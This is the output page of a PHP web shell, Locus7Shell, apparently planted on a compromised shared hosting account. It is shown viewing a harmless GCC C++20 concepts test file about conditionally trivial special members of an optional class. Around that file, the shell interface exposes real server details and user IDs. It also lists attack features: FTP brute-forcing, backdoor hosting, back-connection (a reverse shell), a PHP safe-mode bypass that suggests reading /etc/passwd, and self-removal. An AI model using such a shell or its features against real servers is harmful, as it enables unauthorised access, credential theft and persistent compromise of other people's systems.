Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/cpp2a/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     cond-triv1.C (950 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// Testcase from P0848R0
// { dg-do compile { target concepts } }

#include <type_traits>

template <typename T>
class optional
{
  struct empty {};
  union {
    empty _ = { };
    T value;
  };
  bool engaged = false;

public:
  constexpr optional() = default;

  constexpr optional(optional const&)
    requires std::is_trivially_copy_constructible_v<T>
    = default;
  constexpr optional(optional const& o)
    : engaged (o.engaged)
  {
    if (engaged)
      new (&value) T (o.value);
  }

  ~optional()
    requires std::is_trivially_destructible_v<T>
    = default;
  ~optional()
  {
    if (engaged)
      value.~T();
  }

  // ...
};

struct A { A(); A(const A&); ~A(); };

static_assert(std::is_trivially_copy_constructible_v<optional<int>>);
static_assert(!std::is_trivially_copy_constructible_v<optional<A>>);
static_assert(std::is_trivially_destructible_v<optional<int>>);
static_assert(!std::is_trivially_destructible_v<optional<A>>);

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 
Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0062 ]--